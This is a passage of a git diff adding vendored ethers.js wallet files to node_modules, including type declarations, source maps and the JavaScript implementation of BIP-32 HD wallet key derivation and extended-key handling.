+{"version":3,"file":"base-wallet.js","sourceRoot":"","sources":["../../src.ts/wallet/base-wallet.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,cAAc,EAAE,MAAM,qBAAqB,CAAC;AACjE,OAAO,EACH,iBAAiB,EAAE,WAAW,EAAE,gBAAgB,EACnD,MAAM,kBAAkB,CAAC;AAC1B,OAAO,EAAE,cAAc,EAAE,WAAW,EAAE,MAAM,uBAAuB,CAAC;AACpE,OAAO,EAAE,cAAc,EAAE,WAAW,EAAE,MAAM,yBAAyB,CAAC;AACtE,OAAO,EACH,gBAAgB,EAAE,SAAS,EAAE,iBAAiB,EAAE,MAAM,EAAE,cAAc,EACzE,MAAM,mBAAmB,CAAC;AAU3B;;;;;;;;;;GAUG;AACH,MAAM,OAAO,UAAW,SAAQ,cAAc;IAC1C;;OAEG;IACM,OAAO,CAAU;IAEjB,WAAW,CAAa;IAEjC;;;;;;OAMG;IACH,YAAY,UAAsB,EAAE,QAA0B;QAC1D,KAAK,CAAC,QAAQ,CAAC,CAAC;QAEhB,cAAc,CAAC,UAAU,IAAI,OAAM,CAAC,UAAU,CAAC,IAAI,CAAC,KAAK,UAAU,EAAE,qBAAqB,EAAE,YAAY,EAAE,cAAc,CAAC,CAAC;QAE1H,IAAI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ethers/lib.esm/wallet/hdwallet.d.ts new file mode 100644 index 000000000000..770ddd7cd720 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/hdwallet.d.ts @@ -0,0 +1,248 @@ +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +import { SigningKey } from "../crypto/index.js"; +import { VoidSigner } from "../providers/index.js"; +import { BaseWallet } from "./base-wallet.js"; +import { Mnemonic } from "./mnemonic.js"; +import type { ProgressCallback } from "../crypto/index.js"; +import type { Provider } from "../providers/index.js"; +import type { BytesLike, Numeric } from "../utils/index.js"; +import type { Wordlist } from "../wordlists/index.js"; +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +export declare const defaultPath: string; +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +export declare class HDNodeWallet extends BaseWallet { + #private; + /** + * The compressed public key. + */ + readonly publicKey: string; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint: string; + /** + * The parent fingerprint. + */ + readonly parentFingerprint: string; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + readonly mnemonic: null | Mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode: string; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + readonly path: null | string; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index: number; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth: number; + /** + * @private + */ + constructor(guard: any, signingKey: SigningKey, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, mnemonic: null | Mnemonic, provider: null | Provider); + connect(provider: null | Provider): HDNodeWallet; + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + encrypt(password: Uint8Array | string, progressCallback?: ProgressCallback): Promise; + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password: Uint8Array | string): string; + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey(): string; + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { + path: string; + }; + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter(): HDNodeVoidWallet; + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeWallet; + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path: string): HDNodeWallet; + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey: string): HDNodeWallet | HDNodeVoidWallet; + /** + * Creates a new random HDNode. + */ + static createRandom(password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet; + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic: Mnemonic, path?: string): HDNodeWallet; + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase: string, password?: string, path?: string, wordlist?: Wordlist): HDNodeWallet; + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed: BytesLike): HDNodeWallet; +} +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +export declare class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + readonly publicKey: string; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + readonly fingerprint: string; + /** + * The parent node fingerprint. + */ + readonly parentFingerprint: string; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + readonly chainCode: string; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + readonly path: null | string; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + readonly index: number; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + readonly depth: number; + /** + * @private + */ + constructor(guard: any, address: string, publicKey: string, parentFingerprint: string, chainCode: string, path: null | string, index: number, depth: number, provider: null | Provider); + connect(provider: null | Provider): HDNodeVoidWallet; + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey(): string; + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath(): this is { + path: string; + }; + /** + * Return the child for %%index%%. + */ + deriveChild(_index: Numeric): HDNodeVoidWallet; + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path: string): HDNodeVoidWallet; +} +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +export declare function getAccountPath(_index: Numeric): string; +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +export declare function getIndexedAccountPath(_index: Numeric): string; +//# sourceMappingURL=hdwallet.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/hdwallet.d.ts.map b/node_modules/ethers/lib.esm/wallet/hdwallet.d.ts.map new file mode 100644 index 000000000000..8c2afd910df5 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/hdwallet.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"hdwallet.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/hdwallet.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,EAAuC,UAAU,EAAU,MAAM,oBAAoB,CAAC;AAC7F,OAAO,EAAE,UAAU,EAAE,MAAM,uBAAuB,CAAC;AAUnD,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAKzC,OAAO,KAAK,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AAC3D,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AACtD,OAAO,KAAK,EAAE,SAAS,EAAE,OAAO,EAAE,MAAM,mBAAmB,CAAC;AAC5D,OAAO,KAAK,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AAItD;;GAEG;AACH,eAAO,MAAM,WAAW,EAAE,MAA2B,CAAC;AAsFtD;;;;;;;GAOG;AACH,qBAAa,YAAa,SAAQ,UAAU;;IACxC;;OAEG;IACH,QAAQ,CAAC,SAAS,EAAG,MAAM,CAAC;IAE5B;;;;;;OAMG;IACH,QAAQ,CAAC,WAAW,EAAG,MAAM,CAAC;IAE9B;;OAEG;IACH,QAAQ,CAAC,iBAAiB,EAAG,MAAM,CAAC;IAEpC;;;;;OAKG;IACH,QAAQ,CAAC,QAAQ,EAAG,IAAI,GAAG,QAAQ,CAAC;IAEpC;;;OAGG;IACH,QAAQ,CA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D;;;;;OAKG;IACH,IAAI,WAAW,IAAI,MAAM,CAiBxB;IAED;;;OAGG;IACH,OAAO,IAAI,IAAI,IAAI;QAAE,IAAI,EAAE,MAAM,CAAA;KAAE;IAEnC;;OAEG;IACH,WAAW,CAAC,MAAM,EAAE,OAAO,GAAG,gBAAgB;IAqB9C;;OAEG;IACH,UAAU,CAAC,IAAI,EAAE,MAAM,GAAG,gBAAgB;CAG7C;AAmBD;;;;;;;GAOG;AACH,wBAAgB,cAAc,CAAC,MAAM,EAAE,OAAO,GAAG,MAAM,CAItD;AAED;;;;;;;;GAQG;AACH,wBAAgB,qBAAqB,CAAC,MAAM,EAAE,OAAO,GAAG,MAAM,CAI7D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/hdwallet.js b/node_modules/ethers/lib.esm/wallet/hdwallet.js new file mode 100644 index 000000000000..ff5d4503cecf --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/hdwallet.js @@ -0,0 +1,499 @@ +/** + * Explain HD Wallets.. + * + * @_subsection: api/wallet:HD Wallets [hd-wallets] + */ +import { computeHmac, randomBytes, ripemd160, SigningKey, sha256 } from "../crypto/index.js"; +import { VoidSigner } from "../providers/index.js"; +import { computeAddress } from "../transaction/index.js"; +import { concat, dataSlice, decodeBase58, defineProperties, encodeBase58, getBytes, hexlify, isBytesLike, getNumber, toBeArray, toBigInt, toBeHex, assertPrivate, assert, assertArgument } from "../utils/index.js"; +import { LangEn } from "../wordlists/lang-en.js"; +import { BaseWallet } from "./base-wallet.js"; +import { Mnemonic } from "./mnemonic.js"; +import { encryptKeystoreJson, encryptKeystoreJsonSync, } from "./json-keystore.js"; +/** + * The default derivation path for Ethereum HD Nodes. (i.e. ``"m/44'/60'/0'/0/0"``) + */ +export const defaultPath = "m/44'/60'/0'/0/0"; +// "Bitcoin seed" +const MasterSecret = new Uint8Array([66, 105, 116, 99, 111, 105, 110, 32, 115, 101, 101, 100]); +const HardenedBit = 0x80000000; +const N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +const Nibbles = "0123456789abcdef"; +function zpad(value, length) { + let result = ""; + while (value) { + result = Nibbles[value % 16] + result; + value = Math.trunc(value / 16); + } + while (result.length < length * 2) { + result = "0" + result; + } + return "0x" + result; +} +function encodeBase58Check(_value) { + const value = getBytes(_value); + const check = dataSlice(sha256(sha256(value)), 0, 4); + const bytes = concat([value, check]); + return encodeBase58(bytes); +} +const _guard = {}; +function ser_I(index, chainCode, publicKey, privateKey) { + const data = new Uint8Array(37); + if (index & HardenedBit) { + assert(privateKey != null, "cannot derive child of neutered node", "UNSUPPORTED_OPERATION", { + operation: "deriveChild" + }); + // Data = 0x00 || ser_256(k_par) + data.set(getBytes(privateKey), 1); + } + else { + // Data = ser_p(point(k_par)) + data.set(getBytes(publicKey)); + } + // Data += ser_32(i) + for (let i = 24; i >= 0; i -= 8) { + data[33 + (i >> 3)] = ((index >> (24 - i)) & 0xff); + } + const I = getBytes(computeHmac("sha512", chainCode, data)); + return { IL: I.slice(0, 32), IR: I.slice(32) }; +} +function derivePath(node, path) { + const components = path.split("/"); + assertArgument(components.length > 0, "invalid path", "path", path); + if (components[0] === "m") { + assertArgument(node.depth === 0, `cannot derive root path (i.e. path starting with "m/") for a node at non-zero depth ${node.depth}`, "path", path); + components.shift(); + } + let result = node; + for (let i = 0; i < components.length; i++) { + const component = components[i]; + if (component.match(/^[0-9]+'$/)) { + const index = parseInt(component.substring(0, component.length - 1)); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(HardenedBit + index); + } + else if (component.match(/^[0-9]+$/)) { + const index = parseInt(component); + assertArgument(index < HardenedBit, "invalid path index", `path[${i}]`, component); + result = result.deriveChild(index); + } + else { + assertArgument(false, "invalid path component", `path[${i}]`, component); + } + } + return result; +} +/** + * An **HDNodeWallet** is a [[Signer]] backed by the private key derived + * from an HD Node using the [[link-bip-32]] stantard. + * + * An HD Node forms a hierarchal structure with each HD Node having a + * private key and the ability to derive child HD Nodes, defined by + * a path indicating the index of each child. + */ +export class HDNodeWallet extends BaseWallet { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent fingerprint. + */ + parentFingerprint; + /** + * The mnemonic used to create this HD Node, if available. + * + * Sources such as extended keys do not encode the mnemonic, in + * which case this will be ``null``. + */ + mnemonic; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provide full path details, this + * may be ``null``, if instantiated from a source that does not + * encode it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, signingKey, parentFingerprint, chainCode, path, index, depth, mnemonic, provider) { + super(signingKey, provider); + assertPrivate(guard, _guard, "HDNodeWallet"); + defineProperties(this, { publicKey: signingKey.compressedPublicKey }); + const fingerprint = dataSlice(ripemd160(sha256(this.publicKey)), 0, 4); + defineProperties(this, { + parentFingerprint, fingerprint, + chainCode, path, index, depth + }); + defineProperties(this, { mnemonic }); + } + connect(provider) { + return new HDNodeWallet(_guard, this.signingKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.mnemonic, provider); + } + #account() { + const account = { address: this.address, privateKey: this.privateKey }; + const m = this.mnemonic; + if (this.path && m && m.wordlist.locale === "en" && m.password === "") { + account.mnemonic = { + path: this.path, + locale: "en", + entropy: m.entropy + }; + } + return account; + } + /** + * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with + * %%password%%. + * + * If %%progressCallback%% is specified, it will receive periodic + * updates as the encryption process progreses. + */ + async encrypt(password, progressCallback) { + return await encryptKeystoreJson(this.#account(), password, { progressCallback }); + } + /** + * Returns a [JSON Keystore Wallet](json-wallets) encryped with + * %%password%%. + * + * It is preferred to use the [async version](encrypt) instead, + * which allows a [[ProgressCallback]] to keep the user informed. + * + * This method will block the event loop (freezing all UI) until + * it is complete, which may be a non-trivial duration. + */ + encryptSync(password) { + return encryptKeystoreJsonSync(this.#account(), password); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpriv`` and can be used to + * reconstruct this HD Node to derive its children. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488ADE4", zpad(this.depth, 1), this.parentFingerprint, + zpad(this.index, 4), this.chainCode, + concat(["0x00", this.privateKey]) + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Returns a neutered HD Node, which removes the private details + * of an HD Node. + * + * A neutered node has no private key, but can be used to derive + * child addresses and other public data about the HD Node. + */ + neuter() { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, this.provider); + } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, this.privateKey); + const ki = new SigningKey(toBeHex((toBigInt(IL) + BigInt(this.privateKey)) % N, 32)); + return new HDNodeWallet(_guard, ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.mnemonic, this.provider); + } + /** + * Return the HDNode for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } + static #fromSeed(_seed, mnemonic) { + assertArgument(isBytesLike(_seed), "invalid seed", "seed", "[REDACTED]"); + const seed = getBytes(_seed, "seed"); + assertArgument(seed.length >= 16 && seed.length <= 64, "invalid seed", "seed", "[REDACTED]"); + const I = getBytes(computeHmac("sha512", MasterSecret, seed)); + const signingKey = new SigningKey(hexlify(I.slice(0, 32))); + return new HDNodeWallet(_guard, signingKey, "0x00000000", hexlify(I.slice(32)), "m", 0, 0, mnemonic, null); + } + /** + * Creates a new HD Node from %%extendedKey%%. + * + * If the %%extendedKey%% will either have a prefix or ``xpub`` or + * ``xpriv``, returning a neutered HD Node ([[HDNodeVoidWallet]]) + * or full HD Node ([[HDNodeWallet) respectively. + */ + static fromExtendedKey(extendedKey) { + const bytes = toBeArray(decodeBase58(extendedKey)); // @TODO: redact + assertArgument(bytes.length === 82 || encodeBase58Check(bytes.slice(0, 78)) === extendedKey, "invalid extended key", "extendedKey", "[ REDACTED ]"); + const depth = bytes[4]; + const parentFingerprint = hexlify(bytes.slice(5, 9)); + const index = parseInt(hexlify(bytes.slice(9, 13)).substring(2), 16); + const chainCode = hexlify(bytes.slice(13, 45)); + const key = bytes.slice(45, 78); + switch (hexlify(bytes.slice(0, 4))) { + // Public Key + case "0x0488b21e": + case "0x043587cf": { + const publicKey = hexlify(key); + return new HDNodeVoidWallet(_guard, computeAddress(publicKey), publicKey, parentFingerprint, chainCode, null, index, depth, null); + } + // Private Key + case "0x0488ade4": + case "0x04358394 ": + if (key[0] !== 0) { + break; + } + return new HDNodeWallet(_guard, new SigningKey(key.slice(1)), parentFingerprint, chainCode, null, index, depth, null, null); + } + assertArgument(false, "invalid extended key prefix", "extendedKey", "[ REDACTED ]"); + } + /** + * Creates a new random HDNode. + */ + static createRandom(password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromEntropy(randomBytes(16), password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Create an HD Node from %%mnemonic%%. + */ + static fromMnemonic(mnemonic, path) { + if (!path) { + path = defaultPath; + } + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a mnemonic %%phrase%%. + */ + static fromPhrase(phrase, password, path, wordlist) { + if (password == null) { + password = ""; + } + if (path == null) { + path = defaultPath; + } + if (wordlist == null) { + wordlist = LangEn.wordlist(); + } + const mnemonic = Mnemonic.fromPhrase(phrase, password, wordlist); + return HDNodeWallet.#fromSeed(mnemonic.computeSeed(), mnemonic).derivePath(path); + } + /** + * Creates an HD Node from a %%seed%%. + */ + static fromSeed(seed) { + return HDNodeWallet.#fromSeed(seed, null); + } +} +/** + * A **HDNodeVoidWallet** cannot sign, but provides access to + * the children nodes of a [[link-bip-32]] HD wallet addresses. + * + * The can be created by using an extended ``xpub`` key to + * [[HDNodeWallet_fromExtendedKey]] or by + * [nuetering](HDNodeWallet-neuter) a [[HDNodeWallet]]. + */ +export class HDNodeVoidWallet extends VoidSigner { + /** + * The compressed public key. + */ + publicKey; + /** + * The fingerprint. + * + * A fingerprint allows quick qay to detect parent and child nodes, + * but developers should be prepared to deal with collisions as it + * is only 4 bytes. + */ + fingerprint; + /** + * The parent node fingerprint. + */ + parentFingerprint; + /** + * The chaincode, which is effectively a public key used + * to derive children. + */ + chainCode; + /** + * The derivation path of this wallet. + * + * Since extended keys do not provider full path details, this + * may be ``null``, if instantiated from a source that does not + * enocde it. + */ + path; + /** + * The child index of this wallet. Values over ``2 *\* 31`` indicate + * the node is hardened. + */ + index; + /** + * The depth of this wallet, which is the number of components + * in its path. + */ + depth; + /** + * @private + */ + constructor(guard, address, publicKey, parentFingerprint, chainCode, path, index, depth, provider) { + super(address, provider); + assertPrivate(guard, _guard, "HDNodeVoidWallet"); + defineProperties(this, { publicKey }); + const fingerprint = dataSlice(ripemd160(sha256(publicKey)), 0, 4); + defineProperties(this, { + publicKey, fingerprint, parentFingerprint, chainCode, path, index, depth + }); + } + connect(provider) { + return new HDNodeVoidWallet(_guard, this.address, this.publicKey, this.parentFingerprint, this.chainCode, this.path, this.index, this.depth, provider); + } + /** + * The extended key. + * + * This key will begin with the prefix ``xpub`` and can be used to + * reconstruct this neutered key to derive its children addresses. + */ + get extendedKey() { + // We only support the mainnet values for now, but if anyone needs + // testnet values, let me know. I believe current sentiment is that + // we should always use mainnet, and use BIP-44 to derive the network + // - Mainnet: public=0x0488B21E, private=0x0488ADE4 + // - Testnet: public=0x043587CF, private=0x04358394 + assert(this.depth < 256, "Depth too deep", "UNSUPPORTED_OPERATION", { operation: "extendedKey" }); + return encodeBase58Check(concat([ + "0x0488B21E", + zpad(this.depth, 1), + this.parentFingerprint, + zpad(this.index, 4), + this.chainCode, + this.publicKey, + ])); + } + /** + * Returns true if this wallet has a path, providing a Type Guard + * that the path is non-null. + */ + hasPath() { return (this.path != null); } + /** + * Return the child for %%index%%. + */ + deriveChild(_index) { + const index = getNumber(_index, "index"); + assertArgument(index <= 0xffffffff, "invalid index", "index", index); + // Base path + let path = this.path; + if (path) { + path += "/" + (index & ~HardenedBit); + if (index & HardenedBit) { + path += "'"; + } + } + const { IR, IL } = ser_I(index, this.chainCode, this.publicKey, null); + const Ki = SigningKey.addPoints(IL, this.publicKey, true); + const address = computeAddress(Ki); + return new HDNodeVoidWallet(_guard, address, Ki, this.fingerprint, hexlify(IR), path, index, this.depth + 1, this.provider); + } + /** + * Return the signer for %%path%% from this node. + */ + derivePath(path) { + return derivePath(this, path); + } +} +/* +export class HDNodeWalletManager { + #root: HDNodeWallet; + + constructor(phrase: string, password?: null | string, path?: null | string, locale?: null | Wordlist) { + if (password == null) { password = ""; } + if (path == null) { path = "m/44'/60'/0'/0"; } + if (locale == null) { locale = LangEn.wordlist(); } + this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale); + } + + getSigner(index?: number): HDNodeWallet { + return this.#root.deriveChild((index == null) ? 0: index); + } +} +*/ +/** + * Returns the [[link-bip-32]] path for the account at %%index%%. + * + * This is the pattern used by wallets like Ledger. + * + * There is also an [alternate pattern](getIndexedAccountPath) used by + * some software. + */ +export function getAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/${index}'/0/0`; +} +/** + * Returns the path using an alternative pattern for deriving accounts, + * at %%index%%. + * + * This derivation path uses the //index// component rather than the + * //account// component to derive sequential accounts. + * + * This is the pattern used by wallets like MetaMask. + */ +export function getIndexedAccountPath(_index) { + const index = getNumber(_index, "index"); + assertArgument(index >= 0 && index < HardenedBit, "invalid account index", "index", index); + return `m/44'/60'/0'/0/${index}`; +} +//# sourceMappingURL=hdwallet.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/hdwallet.js.map b/node_modules/ethers/lib.esm/wallet/hdwallet.js.map new file mode 100644 index 000000000000..92d13d46c275 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/hdwallet.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hdwallet.js","sourceRoot":"","sources":["../../src.ts/wallet/hdwallet.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,EAAE,WAAW,EAAE,WAAW,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,EAAE,MAAM,oBAAoB,CAAC;AAC7F,OAAO,EAAE,UAAU,EAAE,MAAM,uBAAuB,CAAC;AACnD,OAAO,EAAE,cAAc,EAAE,MAAM,yBAAyB,CAAC;AACzD,OAAO,EACH,MAAM,EAAE,SAAS,EAAE,YAAY,EAAE,gBAAgB,EAAE,YAAY,EAC/D,QAAQ,EAAE,OAAO,EAAE,WAAW,EAC9B,SAAS,EAAE,SAAS,EAAE,QAAQ,EAAE,OAAO,EACvC,aAAa,EAAE,MAAM,EAAE,cAAc,EACxC,MAAM,mBAAmB,CAAC;AAC3B,OAAO,EAAE,MAAM,EAAE,MAAM,yBAAyB,CAAC;AAEjD,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAC9C,OAAO,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MAAM,UAAU,qBAAqB,CAAC,MAAe;IACjD,MAAM,KAAK,GAAG,SAAS,CAAC,MAAM,EAAE,OAAO,CAAC,CAAC;IACzC,cAAc,CAAC,KAAK,IAAI,CAAC,IAAI,KAAK,GAAG,WAAW,EAAE,uBAAuB,EAAE,OAAO,EAAE,KAAK,CAAC,CAAC;IAC3F,OAAO,kBAAmB,KAAK,EAAE,CAAC;AACtC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/index.d.ts b/node_modules/ethers/lib.esm/wallet/index.d.ts new file mode 100644 index 000000000000..8156435f34d5 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/index.d.ts @@ -0,0 +1,27 @@ +/** + * When interacting with Ethereum, it is necessary to use a private + * key authenticate actions by signing a payload. + * + * Wallets are the simplest way to expose the concept of an + * //Externally Owner Account// (EOA) as it wraps a private key + * and supports high-level methods to sign common types of interaction + * and send transactions. + * + * The class most developers will want to use is [[Wallet]], which + * can load a private key directly or from any common wallet format. + * + * The [[HDNodeWallet]] can be used when it is necessary to access + * low-level details of how an HD wallets are derived, exported + * or imported. + * + * @_section: api/wallet:Wallets [about-wallets] + */ +export { BaseWallet } from "./base-wallet.js"; +export { defaultPath, getAccountPath, getIndexedAccountPath, HDNodeWallet, HDNodeVoidWallet, } from "./hdwallet.js"; +export { isCrowdsaleJson, decryptCrowdsaleJson } from "./json-crowdsale.js"; +export { isKeystoreJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync } from "./json-keystore.js"; +export { Mnemonic } from "./mnemonic.js"; +export { Wallet } from "./wallet.js"; +export type { CrowdsaleAccount } from "./json-crowdsale.js"; +export type { KeystoreAccount, EncryptOptions } from "./json-keystore.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/index.d.ts.map b/node_modules/ethers/lib.esm/wallet/index.d.ts.map new file mode 100644 index 000000000000..707d088faf48 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/wallet/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;GAiBG;AAEH,OAAO,EAAE,UAAU,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,EACH,WAAW,EAEX,cAAc,EAAE,qBAAqB,EAErC,YAAY,EACZ,gBAAgB,GACnB,MAAM,eAAe,CAAC;AAEvB,OAAO,EAAE,eAAe,EAAE,oBAAoB,EAAE,MAAM,qBAAqB,CAAC;AAE5E,OAAO,EACH,cAAc,EACd,uBAAuB,EAAE,mBAAmB,EAC5C,mBAAmB,EAAE,uBAAuB,EAC/C,MAAM,oBAAoB,CAAC;AAE5B,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AAEzC,OAAO,EAAE,MAAM,EAAE,MAAM,aAAa,CAAC;AAGrC,YAAY,EAAE,gBAAgB,EAAE,MAAM,qBAAqB,CAAC;AAC5D,YAAY,EACR,eAAe,EAAE,cAAc,EAClC,MAAM,oBAAoB,CAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wallet/index.js b/node_modules/ethers/lib.esm/wallet/index.js new file mode 100644 index 000000000000..bc9d7f4afa60 --- /dev/null +++ b/node_modules/ethers/lib.esm/wallet/index.js @@ -0,0 +1,25 @@ +/** + * When interacting with Ethereum, it is necessary to use a private + * key authenticate actions by signing a payload. + * + * Wallets are the simplest way to expose the concept of an + * //Externally Owner Account// (EOA) as it wraps a private key + * and supports high-level methods to sign common types of interaction + * and send transactions. + * + * The class most developers will want to use is [[Wallet]], which + * can load a private key directly or from any common wallet format. + * + * The [[HDNodeWallet]] can be used when it is necessary to access + * low-level details of how an HD wallets are derived, exported + * or imported. + * + * @_section: api/wallet:Wallets [about-wallets] + */ +export { BaseWallet } from "./base-wallet.js"; +export { defaultPath, getAccountPath, getIndexedAccountPath, HDNodeWallet, HDNodeVoidWallet, } from 